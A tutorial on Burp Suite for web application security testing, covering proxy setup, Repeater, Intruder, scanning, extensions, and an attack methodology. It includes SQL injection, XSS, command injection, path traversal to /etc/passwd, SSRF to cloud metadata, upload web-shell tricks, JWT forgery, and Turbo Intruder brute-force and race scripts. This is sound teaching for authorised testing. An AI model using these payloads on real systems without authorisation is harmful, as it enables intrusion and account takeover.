kavklaw@llm ~ /guides/burp-suite

kavklaw@llm $ cat burp-suite-guide.md

Burp Suite β€” Web App Testing

🟑 Intermediate

⏱️ 30 min read · Master the most important web application security testing tool

  • Burp Suite β€” download from portswigger.net
  • Java (JRE 17+) β€” Burp is a Java app. The standalone installer bundles its own JRE, but if you use the JAR version you'll need Java installed
  • Firefox β€” recommended browser (uses its own proxy settings, won't interfere with system traffic)
  • FoxyProxy extension β€” for easily toggling the proxy on/off in Firefox

Community vs Professional

Community Edition is free and covers everything in this guide except the automated Scanner and full-speed Intruder. That's enough for CTFs and learning. The main pain point: Community Intruder is throttled (demo mode), making large brute-force attacks impractical. For brute forcing, use ffuf or Hydra instead.

Professional ($449/year) adds: full-speed Intruder, automated active Scanner, project saving, content discovery, and the full BApp Store. Worth it for real engagements but not required for learning.

Installation

Kali Linux: Burp Suite Community comes preinstalled. Launch it from the applications menu or run burpsuite in the terminal.

Other systems: Download the installer from portswigger.net/burp/communitydownload. The standalone installer works on Windows, macOS, and Linux without needing a separate Java install.

⚑ Quick Start

Want to start intercepting traffic in 2 minutes? Here's the fast track:

  1. Open Burp Suite β†’ Temporary Project β†’ Next β†’ Start Burp
  2. Go to Proxy settings β†’ verify listener on 127.0.0.1:8080
  3. Open Firefox β†’ install FoxyProxy extension β†’ add proxy 127.0.0.1:8080
  4. In Burp, go to Proxy β†’ Intercept β†’ make sure "Intercept is on"
  5. Browse to your target β€” watch requests appear in Burp
  6. Right-click any request β†’ "Send to Repeater" to start testing

That's it. You're intercepting traffic. Now let's understand every component in depth.

🌐 What Is Burp Suite?

Burp Suite is PortSwigger's web app testing platform. It sits as a proxy between your browser and the target β€” you see and modify every HTTP/HTTPS request and response that passes through.

Think of Burp as a "man in the middle" between you and the website. Every request your browser sends passes through Burp first, and every response the server sends comes back through Burp. This gives you complete visibility and control over the communication.

See the prerequisites section above for the differences between Community (free) and Professional editions.

πŸ”§ Setting Up the Proxy

The proxy is the foundation of everything in Burp. All other tools (Repeater, Intruder, Scanner) work with requests that flow through the proxy.

Step 1: Configure Burp's Listener

By default, Burp listens on 127.0.0.1:8080. You can verify this in:

Proxy settings β†’ Proxy Listeners

You should see: Running β˜‘ | Interface: 127.0.0.1:8080

Step 2: Configure Firefox with FoxyProxy

Install FoxyProxy Standard extension in Firefox, then add a new proxy:

  • Title: Burp
  • Proxy Type: HTTP
  • Proxy IP: 127.0.0.1
  • Port: 8080

Enable the Burp proxy in FoxyProxy when testing, and disable it when browsing normally.

Why Firefox? Because it uses its own proxy settings, independent from the system proxy. Chrome uses the system proxy, which affects ALL traffic.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Firefox  │────▢│  Burp Suite   │────▢│  Target  β”‚
β”‚ (proxy)  β”‚     β”‚ 127.0.0.1:8080β”‚     β”‚  Server  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     β–²                  β”‚                    β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                    β”‚
        Responses flow                       β”‚
        back through Burp β—€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Step 3: Install Burp's CA Certificate

To intercept HTTPS traffic, you need to trust Burp's certificate authority:

  1. With Burp's proxy active, browse to http://burpsuite (or http://127.0.0.1:8080)
  2. Click "CA Certificate" to download cacert.der
  3. Firefox β†’ Settings β†’ Privacy & Security β†’ Certificates β†’ View Certificates
  4. Authorities tab β†’ Import β†’ select cacert.der
  5. Check "Trust this CA to identify websites" β†’ OK
πŸ’‘ Pro Tip: Use a dedicated Firefox profile for Burp. Run firefox -P to open the profile manager, create a "Burp" profile with FoxyProxy and the CA cert pre-installed. This way your normal browsing is never affected.

Step 4: Scope Configuration

You don't want to capture traffic to Google, YouTube, and every other site. Set the scope:

  1. Target β†’ Scope β†’ Add β†’ enter your target URL (e.g., http://10.10.10.100)
  2. Proxy settings β†’ "And URL is in target scope" under Intercept Client Requests
  3. When Burp asks "Do you want to stop sending out-of-scope items to the history?" β†’ Yes

Now only traffic to your target appears in the HTTP history.

πŸ›‘ Intercepting Requests

When interception is enabled, every request pauses in Burp before being sent to the server. This lets you modify requests on the fly.

Here's what a typical intercepted request looks like:

POST /login HTTP/1.1
Host: target.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

username=admin&password=password123

Before you click Forward, you can change anything in that request:

  • Parameter values (like changing admin to another username)
  • Headers (add, remove, or modify them)
  • Cookies
  • The HTTP method (GET β†’ POST, etc.)
  • The URL path itself

Intercept Controls

  • Forward β€” Send the (possibly modified) request to the server
  • Drop β€” Don't send the request at all
  • Intercept is on/off β€” Toggle interception (traffic still flows through proxy when off)
  • Action β€” Send to Repeater, Intruder, Scanner, etc.
πŸ’‘ Pro Tip: Most of the time, keep intercept OFF. Use the HTTP History tab (Proxy β†’ HTTP History) to review traffic, and send interesting requests to Repeater with Ctrl+R. Only turn intercept ON when you specifically need to modify a request before it's sent.

πŸ—ΊοΈ Target & Site Map

As you browse the target with Burp's proxy active, it automatically builds a site map β€” a tree view of every URL, parameter, and resource discovered.

What the Site Map Shows

  • Directory structure β€” All paths the browser accessed
  • Parameters β€” GET/POST parameters for each endpoint
  • Response codes β€” 200s, 301s, 403s, 500s at a glance
  • MIME types β€” HTML, JSON, JavaScript, images
  • Issues β€” Problems detected by the scanner (Pro only β€” Community users can use extensions for similar checks)

Using the Site Map Effectively

Workflow:

  1. Browse the entire application manually with proxy on
  2. Click every link, fill every form, access every feature
  3. Review the site map β€” it shows you paths you might have missed
  4. Right-click interesting endpoints β†’ Send to Repeater
  5. Look for patterns: API endpoints, version numbers, hidden paths

Site map filtering tips:

  • Filter by MIME type to find API endpoints (JSON)
  • Sort by response code to find 403s (interesting!)
  • Filter by file extension to find config files
  • Look for paths with parameters β†’ test for injection

πŸ” Repeater β€” Manual Testing

Repeater is where you'll spend 70% of your time in Burp. It's a manual request editor: you modify requests, send them, and see the response instantly. No automation, no fuzzing. Just you and the HTTP request.

How to Use Repeater

How to use Repeater:

  1. Find an interesting request in Proxy β†’ HTTP History
  2. Right-click β†’ Send to Repeater (or Ctrl+R)
  3. The request appears in a new Repeater tab
  4. Modify anything you want
  5. Click "Send" (or Ctrl+Enter)
  6. Analyze the response on the right

Example β€” testing SQL injection in a login form. Add a single quote to the username and see if the response changes:

POST /login HTTP/1.1
Host: target.htb
Content-Type: application/x-www-form-urlencoded

username=admin'&password=test

If you see a SQL error in the response like "You have an error in your SQL syntax...", SQLi is confirmed! Now try authentication bypass:

username=admin' OR '1'='1' --&password=anything

If this logs you in, you've got Union or Boolean-based SQLi.

Repeater Tips

  • Rename tabs: Double-click the tab name to rename it (e.g., "SQLi test", "Auth bypass")
  • Use multiple tabs: Send the same request to Repeater multiple times to test different payloads in parallel
  • Follow redirects: Click the "Follow redirect" button to see where 302s go
  • Render response: Switch to the "Render" tab to see the page as a browser would
  • Search responses: Use the search bar at the bottom to find specific strings in responses

Common Repeater Testing Patterns

Pattern 1: Parameter Tampering β€” Change user IDs to access other users' data. This is called IDOR (Insecure Direct Object Reference) β€” the app uses your input to directly look up data without checking if you're authorized to see it:

GET /api/user/1001 HTTP/1.1   β†’ Your profile
GET /api/user/1002 HTTP/1.1   β†’ Someone else's profile? β†’ IDOR!

Pattern 2: Method Switching β€” Try different HTTP methods to bypass access controls:

POST /admin/delete HTTP/1.1    β†’ 403 Forbidden
GET /admin/delete HTTP/1.1     β†’ 200 OK?  Method-based bypass!
PUT /admin/delete HTTP/1.1     β†’ Try every method

Pattern 3: Header Injection β€” Add headers that might bypass IP whitelists or path restrictions:

GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin

Pattern 4: Content Type Switching β€” Change from application/x-www-form-urlencoded to application/json. Some parsers behave differently with different content types:

{"username": "admin", "password": "test"}

βš”οΈ Intruder β€” Automated Attacks

Intruder automates repetitive testing by sending many requests with varying payloads. Think of it as Burp's built-in fuzzer.

The Four Attack Types

Don't worry if these sound confusing at first. In practice, you'll use Sniper (testing one field) and Cluster Bomb (testing all combinations) most of the time. The others are for specific situations.

1. Sniper

One payload set, one position at a time. If you have positions A and B, Sniper first tests all payloads in position A (with B unchanged), then all payloads in position B (with A unchanged).

# Use case: Testing one parameter for SQLi
# Positions:
POST /login HTTP/1.1
username=Β§adminΒ§&password=test

# Payload list: admin', admin'OR'1'='1'--, admin" OR 1=1--, ...
# Sniper tests each payload in the marked position
# Total requests = number of payloads Γ— number of positions

2. Battering Ram

One payload set, same value in ALL positions simultaneously.

# Use case: Testing the same value in multiple fields
POST /login HTTP/1.1
username=Β§testΒ§&password=Β§testΒ§

# If payload is "admin", both become "admin" at the same time
# Useful when: username == password testing

3. Pitchfork

Multiple payload sets, one per position, iterated in parallel. Position A gets payload set 1, position B gets payload set 2, synchronized row by row.

# Use case: Credential stuffing (username + password pairs)
POST /login HTTP/1.1
username=Β§adminΒ§&password=Β§passwordΒ§

# Payload Set 1 (usernames): admin, user1, john, sarah
# Payload Set 2 (passwords): admin123, pass123, john1, sarah99
# Test 1: admin / admin123
# Test 2: user1 / pass123
# Test 3: john / john1
# Test 4: sarah / sarah99
# Total requests = number of payloads (matched pairs)

4. Cluster Bomb

Multiple payload sets, every combination. Tests ALL payloads from set 1 against ALL payloads from set 2.

# Use case: Brute force username AND password
POST /login HTTP/1.1
username=Β§adminΒ§&password=Β§passwordΒ§

# Payload Set 1 (usernames): admin, user1, john
# Payload Set 2 (passwords): password, 123456, admin123
# Test 1: admin / password
# Test 2: admin / 123456
# Test 3: admin / admin123
# Test 4: user1 / password
# Test 5: user1 / 123456
# ...
# Total requests = set1_size Γ— set2_size (3 Γ— 3 = 9)
⚠️ Warning: Cluster Bomb generates nΓ—m requests. With 1000 usernames Γ— 1000 passwords = 1,000,000 requests. In Community Edition (throttled), this would take days. Use ffuf or Hydra for real brute forcing.

Analyzing Intruder Results

After an Intruder attack, look for anomalies:

  • Status code differences: Most return 401, but one returns 302? That's a valid login.
  • Response length differences: Most are 1500 bytes, but one is 3200? Different content = interesting.
  • Response time: Most respond in 50ms, but one takes 5 seconds? Time-based blind SQLi.
  • Grep match: Add a grep rule for "Welcome" or "Invalid" to flag successes.

Intruder Payload Types

  • Simple list β€” paste or load a wordlist. Useful for directory names, usernames, passwords.
  • Numbers β€” generate sequential numbers (e.g., Range: 1-10000, Step: 1). Useful for IDOR testing (user IDs), brute forcing PINs.
  • Recursive grep β€” extract values from responses and use them. Useful for CSRF token extraction during brute force.
  • Null payloads β€” send empty payloads N times. Useful for race conditions, testing rate limits.
  • Character substitution β€” swap characters (aβ†’@, sβ†’$). Useful for password mutation.
  • Dates β€” generate date ranges. Useful for date parameter fuzzing.
🧠 Knowledge Check β€” Proxy, Repeater & Intruder
Put the Burp Suite web testing workflow in the correct order:
The correct methodology is: (1) Set scope first so you don't drown in irrelevant traffic, (2) Browse the ENTIRE application manually to build a complete site map, (3) Send interesting requests to Repeater for manual testing of injection points, then (4) Use Intruder to automate and scale attacks you've confirmed manually. Jumping straight to Intruder or Scanner without understanding the application is a common beginner mistake.
Which Intruder attack type tests every combination of two payload sets (e.g., all usernames Γ— all passwords)?
Cluster Bomb tests every combination: if you have 100 usernames and 100 passwords, it generates 10,000 requests. Pitchfork matches them in parallel (username1+password1, username2+password2). Sniper tests one position at a time. Battering Ram puts the same value in all positions simultaneously. Be careful with Cluster Bomb β€” the request count is multiplicative!
The keyboard shortcut to send an intercepted request to Repeater in Burp Suite is Ctrl+___.
Ctrl+R sends to Repeater (R for Repeater). Ctrl+I sends to Intruder. These shortcuts save enormous time β€” you'll use them hundreds of times per engagement. In Repeater, Ctrl+Enter sends the current request.

πŸ” Scanner β€” Vulnerability Detection

Burp Scanner (Pro only) automatically finds vulnerabilities. It comes in two modes:

Passive Scanning (Pro)

Analyzes traffic as it flows through the proxy without sending any additional requests. In Pro, this runs automatically in the background.

The passive scanner detects:

  • Missing security headers (CSP β€” Content Security Policy, X-Frame-Options, HSTS β€” HTTP Strict Transport Security; these are browser-level protections the server should enable)
  • Cookie without Secure/HttpOnly flags
  • Information disclosure in responses
  • Mixed content (HTTPS page loading HTTP resources)
  • Sensitive data in URLs
  • Cacheable authentication responses

Active Scanning

This mode sends additional requests to actively test for vulnerabilities. It can be noisy and potentially destructive.

The active scanner tests for:

  • SQL injection (inserting SQL database commands into input fields)
  • Cross-site scripting (XSS, injecting JavaScript that runs in other users' browsers)
  • OS command injection
  • File path traversal (reading files outside the web directory using ../)
  • Server-side template injection (SSTI, injecting code into server-side templates)
  • XML/XXE injection (XML External Entity, tricking an XML parser into reading local files)
  • SSRF (Server-Side Request Forgery, making the server fetch URLs on your behalf)
  • Open redirect

To actively scan a specific request:

  1. Right-click the request in HTTP History or Site Map
  2. Select "Do active scan"
  3. Review findings in Target β†’ Issues

To scan the entire site:

  1. Target β†’ Site Map β†’ right-click your target
  2. Select "Actively scan this host"
  3. Configure scan settings (what to test, where)
  4. Monitor Dashboard for findings
πŸ’‘ Pro Tip: Burp Scanner (both passive and active) is Pro-only β€” Community Edition doesn't include it. But you can still catch "passive-style" issues manually: check response headers for missing security headers, look for interesting comments in HTML source, spot cookies without Secure/HttpOnly flags, and use extensions like Retire.js or Headers Analyzer. Browse the application thoroughly with Proxy and review everything in the Target tab.

πŸ”  Decoder & Comparer

Decoder

Decoder encodes and decodes data in various formats. You'll use it constantly to make sense of obfuscated values.

Encoding/decoding formats available: URL encoding (%41 = A), HTML entities, Base64 (YWRtaW4= = admin), Hex (61646d696e = admin), ASCII hex, Gzip, and Binary.

Common workflow:

  1. Find a suspicious cookie value: eyJhbGciOiJIUzI1NiJ9...
  2. Paste into Decoder β†’ Decode as Base64
  3. See: {"alg":"HS256","typ":"JWT"}
  4. It's a JWT! Now you know what to attack.

Another example β€” found %3Cscript%3Ealert(1)%3C%2Fscript%3E in a parameter? URL-decode it to see <script>alert(1)</script> β€” someone's testing XSS!

Comparer

Comparer highlights differences between two responses. Great for spotting subtle changes.

Use cases:

  • Compare response with valid vs invalid credentials β†’ find exactly what changes (timing, headers, body)
  • Compare response with and without injection payload β†’ confirm blind injection (subtle content differences)
  • Compare two user profiles β†’ find IDOR-specific fields

Workflow:

  1. Send request A to Comparer (right-click β†’ "Send to Comparer")
  2. Modify the request, get response B, send to Comparer
  3. In Comparer, select both items β†’ "Compare"
  4. Words/bytes differences are highlighted

🧩 Essential Extensions

Burp's BApp Store has hundreds of extensions. Here are the must-haves:

Autorize (Free)

Automatically tests for authorization bugs. You give it a low-privilege user's cookies, and it replays every request with those cookies to check if low-priv users can access high-priv endpoints.

Setup:

  1. Install from BApp Store
  2. Log in as low-privilege user β†’ copy cookie
  3. Paste cookie into Autorize's configuration
  4. Log in as admin and browse the app
  5. Autorize replays each admin request with low-priv cookie
  6. Green = enforced, Red = BYPASSED!, Yellow = maybe

This catches IDORs and broken access control automatically.

Logger++ (Free)

Advanced HTTP logging with filtering, highlighting, and grep. Way better than Burp's built-in HTTP History.

Hackvertor (Free)

Advanced encoding/decoding tags you can embed directly in requests. Auto-encodes payloads as you type.

# Instead of manually encoding payloads:
# Wrap in Hackvertor tags:
<@base64>admin:password<@/base64>
# Automatically becomes: YWRtaW46cGFzc3dvcmQ=

# Great for:
# - Auto-updating CSRF tokens
# - Multi-layer encoding (URL inside Base64 inside HTML)
# - Hash generation (MD5, SHA1, etc.)

Active Scan++ (Free)

Adds additional checks to Burp's active scanner, including host header injection, cache poisoning, and edge-case injection patterns.

JWT Editor (Free)

View, edit, and attack JSON Web Tokens directly in Burp.

Param Miner (Free)

Discovers hidden parameters and headers. Essential for finding cache poisoning and hidden functionality.

🎯 Real-World Methodology

Follow this workflow and you'll cover all the major attack surfaces.

Phase 1: Passive Reconnaissance (15 min)

  1. Configure scope (Target β†’ Scope)
  2. Turn OFF intercept, turn ON proxy in browser
  3. Manually browse the ENTIRE application:
    • Visit every page, click every link
    • Fill out every form (with test data)
    • Try every feature (login, register, upload, search)
    • Check robots.txt, sitemap.xml
    • View source on interesting pages
  4. Review the site map for completeness
  5. Check scanner findings if using Pro (Target β†’ Issues), or manually review headers/cookies

Phase 2: Map the Attack Surface (10 min)

Review HTTP History and identify:

  • Authentication endpoints (login, register, reset password)
  • API endpoints (JSON responses, REST patterns)
  • File upload/download functionality
  • Search/filter functionality (injection points)
  • User profile/settings (IDOR candidates)
  • Admin/management interfaces
  • Any parameters that appear in requests

For each endpoint, note: what parameters it accepts, what authentication is required, what input validation exists, and what errors can be triggered.

Phase 3: Authentication Testing (20 min)

Test the login mechanism:

  1. Send login request to Repeater
  2. Test default creds (admin:admin, admin:password)
  3. Test SQLi in username/password fields
  4. Test for username enumeration (different error messages?)
  5. Test brute force protection (rate limiting? lockout?)
  6. Test password reset flow for weaknesses
  7. Check session tokens for predictability
  8. Test "remember me" functionality
  9. Check if session invalidates on logout

Phase 4: Authorization Testing (15 min)

Set up the Autorize extension (see above). Also manually test:

  1. Access admin endpoints as regular user
  2. Access other users' data (change ID parameters)
  3. Test horizontal privilege escalation (user A β†’ user B data)
  4. Test vertical privilege escalation (user β†’ admin)
  5. Try direct object references (/api/users/1, /api/users/2...)
  6. Test if deleting/modifying operations check ownership

Phase 5: Input Validation (30+ min)

For EVERY parameter, test these injection types:

  • SQLi: ' " ; -- /* */ OR 1=1
  • XSS: <script>alert(1)</script> <img src=x onerror=alert(1)>
  • Command Injection: ; id | id `id` $(id)
  • Path Traversal: ../../../etc/passwd
  • SSTI: {{7*7}} ${7*7} <%= 7*7 %>
  • SSRF: http://127.0.0.1 http://169.254.169.254

Use Repeater for manual testing of each parameter, and Intruder with a fuzzing wordlist for automated coverage. Check SecLists/Fuzzing/ for payload lists.

πŸ”„ Common Workflows

Workflow: JWT Manipulation

# 1. Intercept a request with a JWT (usually in Authorization header)
# 2. Decode the JWT in Decoder (Base64)
#    Header: {"alg":"HS256","typ":"JWT"}
#    Payload: {"sub":"user123","role":"user","iat":1516239022}
# 3. Common attacks:
#    - Change "alg" to "none" β†’ remove signature
#    - Change "role" to "admin"
#    - Brute force weak signing keys (jwt_tool, hashcat)
#    - Algorithm confusion (RS256 β†’ HS256)

Workflow: File Upload Testing

# 1. Upload a normal image β†’ note the request format
# 2. In Repeater, try:
#    - Change filename: image.png β†’ shell.php
#    - Change Content-Type: image/png β†’ application/x-php
#    - Double extension: shell.php.png
#    - Null byte: shell.php%00.png
#    - Case variation: shell.pHp
#    - Add magic bytes: GIF89a before PHP code
# 3. If upload succeeds, find where files are stored
# 4. Access the uploaded file β†’ code execution?

Workflow: Race Condition Testing

# 1. Find a request that should only execute once
#    (coupon redemption, vote, balance transfer)
# 2. Send to Intruder
# 3. Use Null Payloads, generate 20 requests
# 4. Set "Number of threads" to 20 in Resource Pool
# 5. Start attack β€” all 20 fire simultaneously
# 6. Check if the action was performed multiple times

# In Burp 2023+, use the "Send group in parallel" feature
# (Repeater β†’ select multiple tabs β†’ right-click β†’ Send group)

⚠️ Common Mistakes

❌ Mistake #1: Leaving intercept ON all the time.
Intercept is for specific moments when you need to modify a request before it's sent. Leaving it on means every request pauses and you have to manually forward everything. Turn it OFF by default; use HTTP History to review traffic.
❌ Mistake #2: Not setting scope.
Without scope, your proxy history fills up with traffic to Google, CDNs, analytics, and browser updates. You'll drown in noise. Always set scope first β€” Target β†’ Scope β†’ Add your target.
❌ Mistake #3: Not browsing the entire app first.
Don't start testing the first interesting thing you find. Browse the ENTIRE application first. Build a complete site map. Understand all functionality. The vulnerability is often in the feature you didn't explore.
❌ Mistake #4: Using Intruder for brute forcing in Community Edition.
Community Intruder is throttled (demo mode) β€” large payload sets will take forever. For brute forcing, use ffuf or Hydra instead. Use Intruder for small payload sets (< 100 payloads) or upgrade to Pro.
❌ Mistake #5: Forgetting to install the CA certificate.
Without Burp's CA cert, HTTPS sites show certificate errors and many modern sites refuse to load at all (HSTS). Install the cert in Firefox as described above β€” it takes 30 seconds and saves hours of frustration.
❌ Mistake #6: Not checking for low-hanging fruit.
Pro users: check Target β†’ Issues regularly β€” the passive scanner catches information disclosure, missing headers, and more. Community users: manually review response headers, cookie flags, HTML comments, and use extensions like Headers Analyzer. These "boring" findings often lead to bigger vulnerabilities.
❌ Mistake #7: Not using keyboard shortcuts.
Ctrl+R = Send to Repeater. Ctrl+I = Send to Intruder. Ctrl+Enter = Send request in Repeater. These save enormous amounts of time. Learn them.

🧩 Burp Extensions Deep Dive

We introduced extensions briefly above. Now let's go deep on the seven extensions that will transform your web testing workflow. Each one fills a critical gap in Burp's built-in functionality.

Autorize β€” Automated Authorization Testing

Autorize is the single best extension for finding broken access control, the #1 vulnerability on the OWASP Top 10. It automatically replays every request with a lower-privilege session to detect horizontal and vertical privilege escalation.

Detailed setup:

  1. Install Autorize from BApp Store
  2. Open the Autorize tab in Burp
  3. Log in to the app as a LOW-PRIVILEGE user
  4. Copy that user's session cookie (from dev tools or Burp)
  5. Paste it into Autorize's "Cookie" field
  6. Enable Autorize (click the toggle)
  7. Now log in as an ADMIN user and browse the application normally

For every request you make as admin, Autorize replays it with the low-priv cookie (checks access), replays it with NO cookie (checks unauthenticated access), and compares response lengths and status codes.

Results color coding:

  • 🟒 Green = ENFORCED (good β€” access was properly denied)
  • πŸ”΄ Red = BYPASSED! (bad β€” low-priv user could access admin endpoint)
  • 🟑 Yellow = Possible bypass (response was similar β€” manual check needed)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  You browse   β”‚     β”‚   Autorize   β”‚     β”‚   Target     β”‚
β”‚  as Admin     │────▢│  intercepts  │────▢│   Server     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  and replays β”‚     β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
                     β”‚  with:       β”‚            β”‚
                     β”‚  1. Low-priv β”‚β—€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                     β”‚     cookie   β”‚   Compares responses:
                     β”‚  2. No cookieβ”‚   Same = BYPASSED! πŸ”΄
                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   Different = ENFORCED 🟒

Advanced: Configure enforcement detectors by adding regex patterns for "access denied" responses (e.g., "403 Forbidden", "Unauthorized", "You don't have permission") to improve classification accuracy. Also test with different user roles: Admin vs User, User A vs User B (horizontal privesc), and Authenticated vs Unauthenticated.

Logger++ β€” Advanced HTTP Logging

Logger++ replaces Burp's HTTP History with a vastly more powerful logging interface. It supports complex filtering with boolean operators, column highlighting, grep-based search, and export to CSV/JSON for external analysis.

Key features:

  1. Column customization β€” add columns for specific headers, response times, cookie values, or regex-extracted data
  2. Color-coded filters β€” highlight rows matching patterns (Red: errors, Yellow: unusual lengths, Green: 200 OK)
  3. Advanced filters with boolean operators:
Request.Path CONTAINS "/api/" AND Response.Status == 500
Request.Body CONTAINS "password" AND Response.Length > 1000
Request.Headers CONTAINS "Authorization" AND Response.Status != 401

Use cases: track every API call and identify patterns, find all requests with sensitive data in URLs, export logs for report documentation, correlate requests with timing data for race conditions.

Setup: Install from BApp Store β†’ it appears as a new tab. All proxy traffic is automatically logged.

Hackvertor β€” Encoding Swiss Army Knife

Hackvertor lets you embed encoding/decoding tags directly in your requests. Instead of manually encoding payloads, wrap them in tags and Hackvertor handles the encoding on-the-fly when the request is sent.

Embed tags directly in Repeater requests:

Authorization: Basic <@base64>admin:password<@/base64>
param=<@url><script>alert(document.cookie)</script><@/url>
token=<@base64><@url>{"role":"admin"}<@/url><@/base64>
X-Signature: <@md5>secret_key+request_body<@/md5>
X-Signature: <@sha256>api_key:timestamp<@/sha256>

Use <@auto_decode> to extract and re-encode CSRF tokens automatically β€” incredibly useful for authenticated testing.

Other useful tags: <@hex> (Hex encoding), <@html_entities>, <@unicode>, <@random_num_10> (cache-busting), <@timestamp> (current Unix timestamp).

Active Scan++ β€” Enhanced Active Scanning

Extends Burp's active scanner with additional checks that PortSwigger hasn't built into the core product. Written by James Kettle (PortSwigger's own head of research).

Additional checks it performs:

  • Host header injection (cache poisoning, password reset hijack)
  • Edge Side Include (ESI) injection
  • Input transformation detection
  • XML injection variations
  • DNS rebinding checks
  • HTTP request smuggling probes
  • Server-side parameter pollution (SSPP)

Setup: Install from BApp Store β€” it automatically hooks into the active scanner. No configuration needed. Always keep it installed; it's particularly useful for finding cache poisoning and host header attacks, and in CTFs it catches injection vectors other scanners miss.

Turbo Intruder β€” High-Speed Fuzzing

Turbo Intruder is a Burp extension for sending large numbers of HTTP requests at extreme speeds. Unlike the built-in Intruder (which is throttled in Community), Turbo Intruder uses Python scripts for full control over the attack and can achieve very high throughput β€” often orders of magnitude faster than regular Intruder (exact speed depends on target, network, and whether HTTP pipelining is supported).

Setup: Install from BApp Store, right-click a request β†’ "Send to Turbo Intruder", and the Python editor opens with a template.

Basic brute force script:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=50,
                          requestsPerConnection=100,
                          pipeline=True)

    for word in open('/usr/share/wordlists/rockyou-top1000.txt'):
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
    if req.status == 302:        # Redirect = successful login?
        table.add(req)
    if req.status != 401:        # Anything other than 401
        table.add(req)

Race condition script β€” send all requests at once using the gate mechanism:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=1,
                          pipeline=False)

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')    # All 30 fire simultaneously!

def handleResponse(req, interesting):
    table.add(req)

Key advantages over regular Intruder: no throttling even in Community Edition, Python scripting for unlimited flexibility, HTTP pipelining support for massive speed gains on compatible targets, gate mechanism perfect for race conditions, and can handle millions of requests efficiently.

JSON Beautifier β€” Readable JSON Responses

Automatically formats JSON responses in Burp's message viewer. Sounds trivial, but when you're analyzing API responses all day, readable JSON is essential.

Before JSON Beautifier:

{"users":[{"id":1,"name":"admin","role":"administrator","email":"[email protected]"},{"id":2,"name":"user","role":"standard","email":"[email protected]"}],"total":2,"page":1}

After JSON Beautifier:

{
  "users": [
    {
      "id": 1,
      "name": "admin",
      "role": "administrator",
      "email": "[email protected]"
    },
    {
      "id": 2,
      "name": "user",
      "role": "standard",
      "email": "[email protected]"
    }
  ],
  "total": 2,
  "page": 1
}

Install from BApp Store β€” it adds a "JSON" tab to the response viewer. Works automatically, no configuration needed.

JWT Editor β€” JSON Web Token Attacks

JWT Editor provides a dedicated interface for viewing, editing, and attacking JWTs directly within Burp. It integrates with Repeater so you can modify tokens in real-time.

Key features: auto-detects JWTs in requests and responses, decode/edit header, payload, and signature, plus built-in attack modes.

Attack modes (effectiveness depends on the implementation β€” most modern JWT libraries block many of these by default, but always worth testing):

  • Algorithm "none" bypass β€” change header to {"alg":"none","typ":"JWT"} and remove the signature. Rare in modern libraries, but legacy implementations sometimes accept unsigned tokens.
  • HMAC key confusion (RS256 β†’ HS256) β€” if the server uses RS256 (asymmetric), change to HS256 and sign with the server's PUBLIC key. Only works if the server doesn't enforce algorithm whitelisting.
  • Weak key brute force β€” use hashcat -m 16500 jwt.txt rockyou.txt, then sign modified tokens with the recovered key
  • JWK/JKU header injection β€” add a JWK header pointing to your server. Only works if the server trusts arbitrary JWK sources (see PortSwigger JWT labs for hands-on practice).

Setup: Install β†’ JWT tab appears in Repeater message views. Click the JWT tab to decode, modify claims like "role":"admin", re-sign with a chosen key, and forward the request.

πŸ” Testing Authentication

Auth testing is where a lot of bugs hide. Burp gives you everything you need to pick apart login mechanisms, session handling, and access control.

Session Fixation Testing

Session fixation happens when a server doesn't issue a new session token after login. An attacker can set a known session ID, trick the victim into logging in, and then hijack that same session.

Test methodology:

  1. Visit the login page β€” note your session cookie (e.g., Set-Cookie: PHPSESSID=abc123)
  2. Log in with valid credentials
  3. Check: did the session ID change?
    • If PHPSESSID is still abc123 β†’ VULNERABLE to session fixation
    • If PHPSESSID changed to xyz789 β†’ session was regenerated (good)
  4. In Burp Repeater, manually test: set a known session cookie before login, send the login POST with that cookie, and check if the response uses the SAME cookie. If yes β†’ session fixation confirmed.
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  1. Set cookie  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  2. Victim   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Attacker │───────────────▢│  Victim  │────logs in──▢│  Server  β”‚
β”‚          β”‚                β”‚ (abc123) β”‚              β”‚          β”‚
β”‚          β”‚  3. Use abc123 β”‚          β”‚              β”‚ Session  β”‚
β”‚          │────to access──▢│          β”‚              β”‚ NOT      β”‚
β”‚          β”‚  victim accountβ”‚          β”‚              β”‚ regenerated
